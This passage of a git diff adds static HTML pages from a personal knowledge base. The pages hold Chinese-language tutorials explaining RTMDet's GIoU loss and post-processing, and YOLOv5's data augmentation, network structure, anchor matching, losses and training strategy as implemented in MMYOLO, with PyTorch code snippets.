loss[pos, pos_label] = F.binary_cross_entropy_with_logits(
pred[pos, pos_label], score[pos],
reduction='none') * scale_factor.abs().pow(beta)

# 得出最终 loss
loss = loss.sum(dim=1, keepdim=False)
return loss
+

GIoULoss​

+

论文:Generalized Intersection over Union: A Metric and A Loss for Bounding Box Regression

+

GIoU Loss 用于计算两个框重叠区域的关系,重叠区域越大,损失越小,反之越大。而且 GIoU 是在 [0,2] 之间,因为其值被限制在了一个较小的范围内,所以网络不会出现剧烈的波动,证明了其具有比较好的稳定性。

+

下图是基本的实现流程图:

+
+image +
+

MMDetection 实现源码的核心部分:

+
def bbox_overlaps(bboxes1, bboxes2, mode='iou', is_aligned=False, eps=1e-6):
...

# 求两个区域的面积
area1 = (bboxes1[..., 2] - bboxes1[..., 0]) * (
bboxes1[..., 3] - bboxes1[..., 1])
area2 = (bboxes2[..., 2] - bboxes2[..., 0]) * (
bboxes2[..., 3] - bboxes2[..., 1])

if is_aligned:
# 得出两个 bbox 重合的左上角 lt 和右下角 rb
lt = torch.max(bboxes1[..., :2], bboxes2[..., :2]) # [B, rows, 2]
rb = torch.min(bboxes1[..., 2:], bboxes2[..., 2:]) # [B, rows, 2]

# 求重合面积
wh = fp16_clamp(rb - lt, min=0)
overlap = wh[..., 0] * wh[..., 1]

if mode in ['iou', 'giou']:
...
else:
union = area1
if mode == 'giou':
# 得出两个 bbox 最小凸闭合框的左上角 lt 和右下角 rb
enclosed_lt = torch.min(bboxes1[..., :2], bboxes2[..., :2])
enclosed_rb = torch.max(bboxes1[..., 2:], bboxes2[..., 2:])
else:
...

# 求重合面积 / gt bbox 面积 的比率,即 IoU
eps = union.new_tensor([eps])
union = torch.max(union, eps)
ious = overlap / union

...

# 求最小凸闭合框面积
enclose_wh = fp16_clamp(enclosed_rb - enclosed_lt, min=0)
enclose_area = enclose_wh[..., 0] * enclose_wh[..., 1]
enclose_area = torch.max(enclose_area, eps)

# 计算 giou
gious = ious - (enclose_area - union) / enclose_area
return gious

@weighted_loss
def giou_loss(pred, target, eps=1e-7):
gious = bbox_overlaps(pred, target, mode='giou', is_aligned=True, eps=eps)
loss = 1 - gious
return loss
+

1.5 优化策略和训练过程​

+
+ +
+

1.6 推理和后处理过程​

+
+ +
+

(1) 特征图输入

+

预测的图片输入大小为 640 x 640, 通道数为 3 ,经过 CSPNeXt, CSPNeXtPAFPN 层的 8 倍、16 倍、32 倍下采样得到 80 x 80, 40 x 40, 20 x 20 三个尺寸的特征图。以 rtmdet-l 模型为例,此时三层通道数都为 256,经过 bbox_head 层得到两个分支,分别为 rtm_cls 类别预测分支,将通道数从 256 变为 80,80 对应所有类别数量; rtm_reg 边框回归分支将通道数从 256 变为 4,4 代表框的坐标。

+

(2) 初始化网格

+

根据特征图尺寸初始化三个网格,大小分别为 6400 (80 x 80)、1600 (40 x 40)、400 (20 x 20),如第一个层 shape 为 torch.Size([ 6400, 2 ]),最后一个维度是 2,为网格点的横纵坐标,而 6400 表示当前特征层的网格点数量。

+

(3) 维度变换

+

经过 _predict_by_feat_single 函数,将从 head 提取的单一图像的特征转换为 bbox 结果输入,得到三个列表 cls_score_list,bbox_pred_list,mlvl_priors,详细大小如图所示。之后分别遍历三个特征层,分别对 class 类别预测分支、bbox 回归分支进行处理。以第一层为例,对 bbox 预测分支 [ 4,80,80 ] 维度变换为 [ 6400,4 ],对类别预测分支 [ 80,80,80 ] 变化为 [ 6400,80 ],并对其做归一化,确保类别置信度在 0 - 1 之间。

+

(4) 阈值过滤

+

先使用一个 nms_pre 操作,先过滤大部分置信度比较低的预测结果(比如 score_thr 阈值设置为 0.05,则去除当前预测置信度低于 0.05 的结果),然后得到 bbox 坐标、所在网格的坐标、置信度、标签的信息。经过三个特征层遍历之后,分别整合这三个层得到的的四个信息放入 results 列表中。

+

(5) 还原到原图尺度

+

最后将网络的预测结果映射到整图当中,得到 bbox 在整图中的坐标值

+

(6) NMS

+

进行 nms 操作,最终预测得到的返回值为经过后处理的每张图片的检测结果,包含分类置信度,框的 labels,框的四个坐标

+

2 总结​

+

本文对 RTMDet 原理和在 MMYOLO 实现进行了详细解析,希望能帮助用户理解算法实现过程。同时请注意:由于 RTMDet 本身也在不断更新, +本开源库也会不断迭代,请及时阅读和同步最新版本。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/yolov5_description/index.html b/en/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/yolov5_description/index.html new file mode 100644 index 0000000..ea19e6a --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/yolov5_description/index.html @@ -0,0 +1,366 @@ + + + + + +yolov5_description.md | wjlin0 + + + + + + + +

yolov5_description.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:40
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

YOLOv5 原理和实现全解析

+

0 简介​

+
+YOLOv5_structure_v3.4 +
+

以上结构图由 RangeKing@github 绘制。

+

YOLOv5 是一个面向实时工业应用而开源的目标检测算法,受到了广泛关注。我们认为让 YOLOv5 爆火的原因不单纯在于 YOLOv5 算法本身的优异性,更多的在于开源库的实用和鲁棒性。简单来说 YOLOv5 开源库的主要特点为:

+
    +
  1. 友好和完善的部署支持
  2. +
  3. 算法训练速度极快,在 300 epoch 情况下训练时长和大部分 one-stage 算法如 RetinaNet、ATSS 和 two-stage 算法如 Faster R-CNN 在 12 epoch 的训练时间接近
  4. +
  5. 框架进行了非常多的 corner case 优化,功能和文档也比较丰富
  6. +
+

本文将从 YOLOv5 算法本身原理讲起,然后重点分析 MMYOLO 中的实现。关于 YOLOv5 的使用指南和速度等对比请阅读本文的后续内容。

+

希望本文能够成为你入门和掌握 YOLOv5 的核心文档。由于 YOLOv5 本身也在不断迭代更新,我们也会不断的更新本文档。请注意阅读最新版本。

+

MMYOLO 实现配置:https://github.com/open-mmlab/mmyolo/blob/main/configs/yolov5/

+

YOLOv5 官方开源库地址:https://github.com/ultralytics/yolov5

+

1 v6.1 算法原理和 MMYOLO 实现解析​

+

YOLOv5 官方 release 地址:https://github.com/ultralytics/yolov5/releases/tag/v6.1

+
+YOLOv5精度图 +
+
+YOLOv5精度速度图 +
+

性能如上表所示。YOLOv5 有 P5 和 P6 两个不同训练输入尺度的模型,P6 即为 1280x1280 输入的大模型,通常用的是 P5 常规模型,输入尺寸是 640x640 。本文解读的也是 P5 模型结构。

+

通常来说,目标检测算法都可以分成数据增强、模型结构、loss 计算等组件,YOLOv5 也一样,如下所示:

+
+训练测试策略 +
+

下面将从原理和结合 MMYOLO 的具体实现方面进行简要分析。

+

1.1 数据增强模块​

+

YOLOv5 目标检测算法中使用的数据增强比较多,包括:

+
    +
  • Mosaic 马赛克
  • +
  • RandomAffine 随机仿射变换
  • +
  • MixUp
  • +
  • 图像模糊等采用 Albu 库实现的变换
  • +
  • HSV 颜色空间增强
  • +
  • 随机水平翻转
  • +
+

其中 Mosaic 数据增强概率为 1,表示一定会触发,而对于 small 和 nano 两个版本的模型不使用 MixUp,其他的 l/m/x 系列模型则采用了 0.1 的概率触发 MixUp。小模型能力有限,一般不会采用 MixUp 等强数据增强策略。

+

其核心的 Mosaic + RandomAffine + MixUp 过程简要绘制如下:

+
+image +
+

下面对其进行简要分析。

+

1.1.1 Mosaic 马赛克​

+
+image +
+

Mosaic 属于混合类数据增强,因为它在运行时候需要 4 张图片拼接,变相的相当于增加了训练的 batch size。其运行过程简要概况为:

+
    +
  1. 随机生成拼接后 4 张图的交接中心点坐标,此时就相当于确定了 4 张拼接图片的交接点
  2. +
  3. 随机选出另外 3 张图片的索引以及读取对应的标注
  4. +
  5. 对每张图片采用保持宽高比的 resize 操作将其缩放到指定大小
  6. +
  7. 按照上下左右规则,计算每张图片在待输出图片中应该放置的位置,因为图片可能出界故还需要计算裁剪坐标
  8. +
  9. 利用裁剪坐标将缩放后的图片裁剪,然后贴到前面计算出的位置,其余位置全部补 114 像素值
  10. +
  11. 对每张图片的标注也进行相应处理
  12. +
+

注意:由于拼接了 4 张图,所以输出图片面积会扩大 4 倍,从 640x640 变成 1280x1280,因此要想恢复为 640x640, +必须要再接一个 RandomAffine 随机仿射变换,否则图片面积就一直是扩大 4 倍的。

+

1.1.2 RandomAffine 随机仿射变换​

+
+image +
+

随机仿射变换有两个目的:

+
    +
  1. 对图片进行随机几何仿射变换
  2. +
  3. 将 Mosaic 输出的扩大 4 倍的图片还原为 640x640 尺寸
  4. +
+

随机仿射变换包括平移、旋转、缩放、错切等几何增强操作,同时由于 Mosaic 和 RandomAffine 属于比较强的增强操作,会引入较大噪声,因此需要对增强后的标注进行处理,过滤规则为:

+
    +
  1. 增强后的 gt bbox 宽高要大于 wh_thr
  2. +
  3. 增强后的 gt bbox 面积和增强前的 gt bbox 面积比要大于 ar_thr,防止增强太严重
  4. +
  5. 最大宽高比要小于 area_thr,防止宽高比改变太多
  6. +
+

由于旋转后标注框会变大导致不准确,因此目标检测里面很少会使用旋转数据增强。

+

1.1.3 MixUp​

+
+image +
+

MixUp 和 Mosaic 类似也属于混合图片类增强方法。随机选出另外一张图后将两图再随机混合。具体实现方法有多种,常见的做法是要么将 label 直接拼接起来,要么将 label 也采用 alpha 方法混合。原作者的做法非常简单,对 label 即直接拼接,而图片通过分布采样混合。

+

需要特别注意的是: +YOLOv5 实现的 MixUp 中,随机出来的另一张图也需要经过 Mosaic 马赛克 + RandomAffine 随机仿射变换 的增强后才能混合。这个和其他开源库实现可能不太一样。

+

1.1.4 图像模糊和其他数据增强策略​

+
+image +
+

剩下的数据增强包括

+
    +
  • 图像模糊等采用 Albu 库实现的变换
  • +
  • HSV 颜色空间增强
  • +
  • 随机水平翻转
  • +
+

MMDetection 开源库中已经对 Albu 第三方数据增强库进行了封装,使用户可以简单的通过配置即可使用 Albu 库中提供的任何数据增强功能。而 HSV 颜色空间增强和随机水平翻转都是属于比较常规的数据增强,不需要特殊介绍。

+

1.1.5 MMYOLO 实现解析​

+

常规的单图数据增强例如随机翻转等比较容易实现,而 Mosaic 类的混合数据增强则不太容易。在 MMDetection 复现的 YOLOX 算法中提出了 MultiImageMixDataset 数据集包装器的概念,其实现过程如下:

+
+image +
+

对于 Mosaic 等混合类数据增强策略,会需要额外实现一个 get_indexes 方法来获取其他图片索引,然后用得到的 4 张图片信息就可以进行 Mosaic 增强了。 +以 MMDetection 中实现的 YOLOX 为例,其配置文件写法如下所示:

+
train_pipeline = [
dict(type='Mosaic', img_scale=img_scale, pad_val=114.0),
dict(
type='RandomAffine',
scaling_ratio_range=(0.1, 2),
border=(-img_scale[0] // 2, -img_scale[1] // 2)),
dict(
type='MixUp',
img_scale=img_scale,
ratio_range=(0.8, 1.6),
pad_val=114.0),
...
]

train_dataset = dict(
# use MultiImageMixDataset wrapper to support mosaic and mixup
type='MultiImageMixDataset',
dataset=dict(
type='CocoDataset',
pipeline=[
dict(type='LoadImageFromFile'),
dict(type='LoadAnnotations', with_bbox=True)
]),
pipeline=train_pipeline)
+

MultiImageMixDataset 数据集包装器传入一个包括 Mosaic 和 RandAffine 等数据增强,而 CocoDataset 中也需要传入一个包括图片和标注加载的 pipeline。通过这种方式就可以快速的实现混合类数据增强。

+

但是上述实现有一个缺点: +对于不熟悉 MMDetection 的用户来说,其经常会忘记 Mosaic 必须要和 MultiImageMixDataset 配合使用,否则会报错,而且这样会加大复杂度和理解难度。

+

为了解决这个问题,在 MMYOLO 中我们进一步进行了简化。直接让 pipeline 能够获取到 dataset 对象,此时就可以将 Mosaic 等混合类数据增强的实现和使用变成和随机翻转一样。 +此时在 MMYOLO 中 YOLOX 的配置写法变成如下所示:

+
pre_transform = [
dict(type='LoadImageFromFile'),
dict(type='LoadAnnotations', with_bbox=True)
]

train_pipeline = [
*pre_transform,
dict(
type='Mosaic',
img_scale=img_scale,
pad_val=114.0,
pre_transform=pre_transform),
dict(
type='mmdet.RandomAffine',
scaling_ratio_range=(0.1, 2),
border=(-img_scale[0] // 2, -img_scale[1] // 2)),
dict(
type='YOLOXMixUp',
img_scale=img_scale,
ratio_range=(0.8, 1.6),
pad_val=114.0,
pre_transform=pre_transform),
...
]
+

这样就不再需要 MultiImageMixDataset 了,使用和理解上会更加简单。

+

回到 YOLOv5 配置上,因为 YOLOv5 实现的 MixUp 中,随机选出来的另一张图也需要经过 Mosaic 马赛克+RandomAffine 随机仿射变换 增强后才能混合,故YOLOv5-m 数据增强配置如下所示:

+
pre_transform = [
dict(type='LoadImageFromFile'),
dict(type='LoadAnnotations', with_bbox=True)
]

mosaic_transform= [
dict(
type='Mosaic',
img_scale=img_scale,
pad_val=114.0,
pre_transform=pre_transform),
dict(
type='YOLOv5RandomAffine',
max_rotate_degree=0.0,
max_shear_degree=0.0,
scaling_ratio_range=(0.1, 1.9), # scale = 0.9
border=(-img_scale[0] // 2, -img_scale[1] // 2),
border_val=(114, 114, 114))
]

train_pipeline = [
*pre_transform,
*mosaic_transform,
dict(
type='YOLOv5MixUp',
prob=0.1,
pre_transform=[
*pre_transform,
*mosaic_transform
]),
...
]
+

1.2 网络结构​

+

本小结由 RangeKing@github 撰写,非常感谢!!!

+

YOLOv5 网络结构是标准的 CSPDarknet + PAFPN + 非解耦 Head。

+

YOLOv5 网络结构大小由 deepen_factor 和 widen_factor 两个参数决定。其中 deepen_factor 控制网络结构深度,即 CSPLayer 中 DarknetBottleneck 模块堆叠的数量;widen_factor 控制网络结构宽度,即模块输出特征图的通道数。以 YOLOv5-l 为例,其 deepen_factor = widen_factor = 1.0 ,整体结构图如上所示。

+

图的上半部分为模型总览;下半部分为具体网络结构,其中的模块均标有序号,方便用户与 YOLOv5 官方仓库的配置文件对应;中间部分为各子模块的具体构成。

+

如果想使用 netron 可视化网络结构图细节,可以直接在 netron 中将 MMDeploy 导出的 ONNX 文件格式文件打开。

+

1.2.1 Backbone​

+

在 MMYOLO 中 CSPDarknet 继承自 BaseBackbone,整体结构和 ResNet 类似,共 5 层结构,包含 1 个 Stem Layer 和 4 个 Stage Layer:

+
    +
  • Stem Layer 是 1 个 6x6 kernel 的 ConvModule,相较于 v6.1 版本之前的 Focus 模块更加高效。
  • +
  • 前 3 个 Stage Layer 均由 1 个 ConvModule 和 1 个 CSPLayer 组成。如上图 Details 部分所示。 +其中 ConvModule 为 3x3的 Conv2d + BatchNorm + SiLU 激活函数。CSPLayer 即 YOLOv5 官方仓库中的 C3 模块,由 3 个 ConvModule + n 个 DarknetBottleneck(带残差连接) 组成。
  • +
  • 第 4 个 Stage Layer 在最后增加了 SPPF 模块。SPPF 模块是将输入串行通过多个 5x5 大小的 MaxPool2d 层,与 SPP 模块效果相同,但速度更快。
  • +
  • P5 模型结构会在 Stage Layer 2-4 之后分别输出一个特征图进入 Neck 结构。以 640x640 输入图片为例,其输出特征为 (B,256,80,80)、 (B,512,40,40) 和 (B,1024,20,20),对应的 stride 分别为 8/16/32。
  • +
+

1.2.2 Neck​

+

YOLOv5 官方仓库的配置文件中并没有 Neck 部分,为方便用户与其他目标检测网络结构相对应,我们将官方仓库的 Head 拆分成 PAFPN 和 Head 两部分。

+

基于 BaseYOLONeck 结构,YOLOv5 Neck 也是遵循同一套构建流程,对于不存在的模块,我们采用 nn.Identity 代替。

+

Neck 模块输出的特征图和 Backbone 完全一致即为 (B,256,80,80)、 (B,512,40,40) 和 (B,1024,20,20)。

+

1.2.3 Head​

+

YOLOv5 Head 结构和 YOLOv3 完全一样,为 非解耦 Head。Head 模块只包括 3 个不共享权重的卷积,用于将输入特征图进行变换而已。

+

前面的 PAFPN 依然是输出 3 个不同尺度的特征图,shape 为 (B,256,80,80)、 (B,512,40,40) 和 (B,1024,20,20)。 +由于 YOLOv5 是非解耦输出,即分类和 bbox 检测等都是在同一个卷积的不同通道中完成。以 COCO 80 类为例,在输入为 640x640 分辨率情况下,其 Head 模块输出的 shape 分别为 (B, 3x(4+1+80),80,80), (B, 3x(4+1+80),40,40) 和 (B, 3x(4+1+80),20,20)。其中 3 表示 3 个 anchor,4 表示 bbox 预测分支,1 表示 obj 预测分支,80 表示 COCO 数据集类别预测分支。

+

1.3 正负样本匹配策略​

+

正负样本匹配策略的核心是确定预测特征图的所有位置中哪些位置应该是正样本,哪些是负样本,甚至有些是忽略样本。 +匹配策略是目标检测算法的核心,一个好的匹配策略可以显著提升算法性能。

+

YOLOV5 的匹配策略简单总结为:采用了 anchor 和 gt_bbox 的 shape 匹配度作为划分规则,同时引入跨邻域网格策略来增加正样本。 +其主要包括如下两个核心步骤:

+
    +
  1. 对于任何一个输出层,抛弃了常用的基于 Max IoU 匹配的规则,而是直接采用 shape 规则匹配,也就是该 GT Bbox 和当前层的 Anchor 计算宽高比,如果宽高比例大于设定阈值,则说明该 GT Bbox 和 Anchor 匹配度不够,将该 GT Bbox 暂时丢掉,在该层预测中该 GT Bbox 对应的网格内的预测位置认为是负样本
  2. +
  3. 对于剩下的 GT Bbox(也就是匹配上的 GT Bbox),计算其落在哪个网格内,同时利用四舍五入规则,找出最近的两个网格,将这三个网格都认为是负责预测该 GT Bbox 的,可以粗略估计正样本数相比之前的 YOLO 系列,至少增加了三倍
  4. +
+

下面会对每个部分进行详细说明,部分描述和图示直接或间接参考自官方 Repo。

+

1.3.1 Anchor 设置​

+

YOLOv5 是 Anchor-based 的目标检测算法,其 Anchor size 的获取方式与 YOLOv3 类似,也是使用聚类获得,其不同之处在于聚类使用的标准不再是基于 IoU 的,而是使用形状上的宽高比作为聚类准则(即 shape-match )。

+

在用户更换了数据集后,可以使用 MMYOLO 里带有的 Anchor 分析工具,对自己的数据集进行分析,确定合适的 Anchor size。

+
python tools/analysis_tools/optimize_anchors.py ${CONFIG} --algorithm v5-k-means
--input-shape ${INPUT_SHAPE [WIDTH HEIGHT]} --output-dir ${OUTPUT_DIR}
+

然后在 config 文件 里修改默认 Anchor size:

+
anchors = [[(10, 13), (16, 30), (33, 23)], [(30, 61), (62, 45), (59, 119)],
[(116, 90), (156, 198), (373, 326)]]
+

1.3.2 Bbox 编解码过程​

+

在 Anchor-based 算法中,预测框通常会基于 Anchor 进行变换,然后预测变换量,这对应 GT Bbox 编码过程,而在预测后需要进行 Pred Bbox 解码,还原为真实尺度的 Bbox,这对应 Pred Bbox 解码过程。

+

在 YOLOv3 中,回归公式为:

+
b_x=\sigma(t_x)+c_x  \\
b_y=\sigma(t_y)+c_y \\
b_w=a_w\cdot e^{t_w} \\
b_h=a_h\cdot e^{t_h} \\
+

公式中,

+
a_w 代表 Anchor 的宽度 \\
c_x 代表 Grid 所处的坐标 \\
\sigma 代表 Sigmoid 公式。
+

而在 YOLOv5 中,回归公式为:

+
b_x=(2\cdot\sigma(t_x)-0.5)+c_x   \\
b_y=(2\cdot\sigma(t_y)-0.5)+c_y \\
b_w=a_w\cdot(2\cdot\sigma(t_w))^2 \\
b_h=a_h\cdot(2\cdot\sigma(t_h))^2
+

改进之处主要有以下两点:

+
    +
  • 中心点坐标范围从 (0, 1) 调整至 (-0.5, 1.5)
  • +
  • 宽高范围从
  • +
+
(0,+\infty)
+

调整至

+
(0,4a_{wh})
+

这个改进具有以下好处:

+
    +
  • 新的中心点设置能更好的预测到 0 和 1。这有助于更精准回归出 box 坐标。
  • +
+
+image +
+
    +
  • 宽高回归公式中 exp(x) 是无界的,这会导致梯度失去控制,造成训练不稳定。YOLOv5 中改进后的宽高回归公式优化了此问题。
  • +
+
+image +
+

1.3.3 匹配策略​

+

在 MMYOLO 设计中,无论网络是 Anchor-based 还是 Anchor-free,我们统一使用 prior 称呼 Anchor。

+

正样本匹配包含以下两步:

+

(1) “比例”比较

+

将 GT Bbox 的 WH 与 Prior 的 WH 进行“比例”比较。

+

比较流程:

+
r_w = w\_{gt} / w\_{pt}    \\
r_h = h\_{gt} / h\_{pt} \\
r_w^{max}=max(r_w, 1/r_w) \\
r_h^{max}=max(r_h, 1/r_h) \\
r^{max}=max(r_w^{max}, r_h^{max}) \\
if\ \ r_{max} < prior\_match\_thr: match!
+

此处我们用一个 GT Bbox 与 P3 特征图的 Prior 进行匹配的案例进行讲解和图示:

+
+image +
+

prior1 匹配失败的原因是

+
h\_{gt}\ /\ h\_{prior}\ =\ 4.8\ >\ prior\_match\_thr
+

(2) 为步骤 1 中 match 的 GT 分配对应的正样本

+

依然沿用上面的例子:

+

GT Bbox (cx, cy, w, h) 值为 (26, 37, 36, 24),

+

Prior WH 值为 [(15, 5), (24, 16), (16, 24)],在 P3 特征图上,stride 为 8。通过计算,prior2 和 prior3 能够 match。

+

计算过程如下:

+

(2.1) 将 GT Bbox 的中心点坐标对应到 P3 的 grid 上

+
GT_x^{center_grid}=26/8=3.25  \\
GT_y^{center_grid}=37/8=4.625
+
+image +
+

(2.2) 将 GT Bbox 中心点所在的 grid 分成四个象限,由于中心点落在了左下角的象限当中,那么会将物体的左、下两个 grid 也认为是正样本

+
+image +
+

下图展示中心点落到不同位置时的正样本分配情况:

+
+image +
+

那么 YOLOv5 的 Assign 方式具体带来了哪些改进?

+
    +
  • +

    一个 GT Bbox 能够匹配多个 Prior

    +
  • +
  • +

    一个 GT Bbox 和一个Prior 匹配时,能分配 1-3 个正样本

    +
  • +
  • +

    以上策略能适度缓解目标检测中常见的正负样本不均衡问题。

    +
  • +
+

而 YOLOv5 中的回归方式,和 Assign 方式是相互呼应的:

+
    +
  1. 中心点回归方式:
  2. +
+
+image +
+
    +
  1. WH 回归方式:
  2. +
+
+image +
+

1.4 Loss 设计​

+

YOLOv5 中总共包含 3 个 Loss,分别为:

+
    +
  • Classes loss:使用的是 BCE loss
  • +
  • Objectness loss:使用的是 BCE loss
  • +
  • Location loss:使用的是 CIoU loss
  • +
+

三个 loss 按照一定比例汇总:

+
Loss=\lambda_1L_{cls}+\lambda_2L_{obj}+\lambda_3L_{loc}
+

P3、P4、P5 层对应的 Objectness loss 按照不同权重进行相加,默认的设置是

+
obj_level_weights=[4., 1., 0.4]
+
L_{obj}=4.0\cdot L_{obj}^{small}+1.0\cdot L_{obj}^{medium}+0.4\cdot L_{obj}^{large}
+

在复现中我们发现 YOLOv5 中使用的 CIoU 与目前最新官方 CIoU 存在一定的差距,差距体现在 alpha 参数的计算。

+

官方版本:

+

参考资料:https://github.com/Zzh-tju/CIoU/blob/master/layers/modules/multibox_loss.py#L53-L55

+
alpha = (ious > 0.5).float() * v / (1 - ious + v)
+

YOLOv5 版本:

+
alpha = v / (v - ious + (1 + eps))
+

这是一个有趣的细节,后续需要测试不同 alpha 计算方式情况下带来的精度差距。

+

1.5 优化策略和训练过程​

+

YOLOv5 对每个优化器的参数组进行非常精细的控制,简单来说包括如下部分。

+

1.5.1 优化器分组​

+

将优化参数分成 Conv/Bias/BN 三组,在 WarmUp 阶段,不同组采用不同的 lr 以及 momentum 更新曲线。 +同时在 WarmUp 阶段采用的是 iter-based 更新策略,而在非 WarmUp 阶段则变成 epoch-based 更新策略,可谓是 trick 十足。

+

MMYOLO 中是采用 YOLOv5OptimizerConstructor 优化器构造器实现优化器参数分组。优化器构造器的作用就是对一些特殊的参数组初始化过程进行精细化控制,因此可以很好的满足需求。

+

而不同的参数组采用不同的调度曲线功能则是通过 YOLOv5ParamSchedulerHook 实现。而不同的参数组采用不同的调度曲线功能则是通过 YOLOv5ParamSchedulerHook 实现。

+

1.5.2 weight decay 参数自适应​

+

作者针对不同的 batch size 采用了不同的 weight decay 策略,具体来说为:

+
    +
  1. 当训练 batch size <= 64 时,weight decay 不变
  2. +
  3. 当训练 batch size > 64 时,weight decay 会根据总 batch size 进行线性缩放
  4. +
+

MMYOLO 也是通过 YOLOv5OptimizerConstructor 实现。

+

1.5.3 梯度累加​

+

为了最大化不同 batch size 情况下的性能,作者设置总 batch size 小于 64 时候会自动开启梯度累加功能。

+

训练过程和大部分 YOLO 类似,包括如下策略:

+
    +
  1. 没有使用预训练权重
  2. +
  3. 没有采用多尺度训练策略,同时可以开启 cudnn.benchmark 进一步加速训练
  4. +
  5. 使用了 EMA 策略平滑模型
  6. +
  7. 默认采用 AMP 自动混合精度训练
  8. +
+

需要特意说明的是:YOLOv5 官方对于 small 模型是采用单卡 v100 训练,bs 为 128,而 m/l/x 等是采用不同数目的多卡实现的, +这种训练策略不太规范,为此在 MMYOLO 中全部采用了 8 卡,每卡 16 bs 的设置,同时为了避免性能差异,训练时候开启了 SyncBN。

+

1.6 推理和后处理过程​

+

YOLOv5 后处理过程和 YOLOv3 非常类似,实际上 YOLO 系列的后处理逻辑都是类似的。

+

1.6.1 核心控制参数​

+
    +
  1. multi_label
  2. +
+

对于多类别预测来说需要考虑是否是多标签任务,也就是同一个预测位置会预测的多个类别概率,和是否当作单类处理。因为 YOLOv5 采用 sigmoid 预测模式,在考虑多标签情况下可能会出现一个物体检测出两个不同类别的框,这有助于评估指标 mAP,但是不利于实际应用。 +因此在需要算评估指标时候 multi_label 是 True,而推理或者实际应用时候是 False

+
    +
  1. score_thr 和 nms_thr
  2. +
+

score_thr 阈值用于过滤类别分值,低于分值的检测框当做背景处理,nms_thr 是 nms 时阈值。同样的,在计算评估指标 mAP 阶段可以将 score_thr 设置的非常低,这通常能够提高召回率,从而提升 mAP,但是对于实际应用来说没有意义,且会导致推理过程极慢。为此在测试和推理阶段会设置不同的阈值

+
    +
  1. nms_pre 和 max_per_img
  2. +
+

nms_pre 表示 nms 前的最大保留检测框数目,这通常是为了防止 nms 运行时候输入框过多导致速度过慢问题,默认值是 30000。 +max_per_img 表示最终保留的最大检测框数目,通常设置为 300。

+

以 COCO 80 类为例,假设输入图片大小为 640x640

+
+image +
+

其推理和后处理过程为:

+

(1) 维度变换

+

YOLOv5 输出特征图尺度为 80x80、40x40 和 20x20 的三个特征图,每个位置共 3 个 anchor,因此输出特征图通道为 3x(5+80)=255。 +YOLOv5 是非解耦输出头,而其他大部分算法都是解耦输出头,为了统一后处理逻辑,我们提前将其进行解耦,分成了类别预测分支、bbox 预测分支和 obj 预测分支。

+

将三个不同尺度的类别预测分支、bbox 预测分支和 obj 预测分支进行拼接,并进行维度变换。为了后续方便处理,会将原先的通道维度置换到最后,类别预测分支、bbox 预测分支和 obj 预测分支的 shape 分别为 (b, 3x80x80+3x40x40+3x20x20, 80)=(b,25200,80),(b,25200,4),(b,25200,1)。

+

(2) 解码还原到原图尺度

+

分类预测分支和 obj 分支需要进行 sigmoid 计算,而 bbox 预测分支需要进行解码,还原为真实的原图解码后 xyxy 格式

+

(3) 第一次阈值过滤

+

遍历 batch 中的每张图,然后用 score_thr 对类别预测分值进行阈值过滤,去掉低于 score_thr 的预测结果

+

(4) 第二次阈值过滤

+

将 obj 预测分值和过滤后的类别预测分值相乘,然后依然采用 score_thr 进行阈值过滤。 +在这过程中还需要考虑 multi_label 和 nms_pre,确保过滤后的检测框数目不会多于 nms_pre。

+

(5) 还原到原图尺度和 nms

+

基于前处理过程,将剩下的检测框还原到网络输出前的原图尺度,然后进行 nms 即可。最终输出的检测框不能多于 max_per_img。

+

1.6.2 batch shape 策略​

+

为了加速验证集的推理过程,作者提出了 batch shape 策略,其核心原则是:确保在 batch 推理过程中同一个 batch 内的图片 pad 像素最少,不要求整个验证过程中所有 batch 的图片尺度一样。

+

其大概流程是:将整个测试或者验证数据的宽高比进行排序,然后依据 batch 设置将排序后的图片组成一个 batch, +同时计算这个 batch 内最佳的 batch shape,防止 pad 像素过多。最佳 batch shape 计算原则为在保持宽高比的情况下进行 pad,不追求正方形图片输出。

+
        image_shapes = []
for data_info in data_list:
image_shapes.append((data_info['width'], data_info['height']))

image_shapes = np.array(image_shapes, dtype=np.float64)

n = len(image_shapes) # number of images
batch_index = np.floor(np.arange(n) / self.batch_size).astype(
np.int) # batch index
number_of_batches = batch_index[-1] + 1 # number of batches

aspect_ratio = image_shapes[:, 1] / image_shapes[:, 0] # aspect ratio
irect = aspect_ratio.argsort()

data_list = [data_list[i] for i in irect]

aspect_ratio = aspect_ratio[irect]
# Set training image shapes
shapes = [[1, 1]] * number_of_batches
for i in range(number_of_batches):
aspect_ratio_index = aspect_ratio[batch_index == i]
min_index, max_index = aspect_ratio_index.min(
), aspect_ratio_index.max()
if max_index < 1:
shapes[i] = [max_index, 1]
elif min_index > 1:
shapes[i] = [1, 1 / min_index]

batch_shapes = np.ceil(
np.array(shapes) * self.img_size / self.size_divisor +
self.pad).astype(np.int) * self.size_divisor

for i, data_info in enumerate(data_list):
data_info['batch_shape'] = batch_shapes[batch_index[i]]
+

2 总结​

+

本文对 YOLOv5 原理和在 MMYOLO 实现进行了详细解析,希望能帮助用户理解算法实现过程。同时请注意:由于 YOLOv5 本身也在不断更新,本开源库也会不断迭代,请及时阅读和同步最新版本。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/torch实现/index.html b/en/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/torch实现/index.html new file mode 100644 index 0000000..c19e53f --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/torch实现/index.html @@ -0,0 +1,45 @@ + + + + + +torch实现 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第十章/index.html b/en/docs/个人知识库/AI/PyTorch/第十章/index.html new file mode 100644 index 0000000..31ff4ad --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第十章/index.html @@ -0,0 +1,46 @@ + + + + + +第十章 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第四章/4.1 ResNet/index.html b/en/docs/个人知识库/AI/PyTorch/第四章/4.1 ResNet/index.html new file mode 100644 index 0000000..af0a32d --- /dev/null +++ 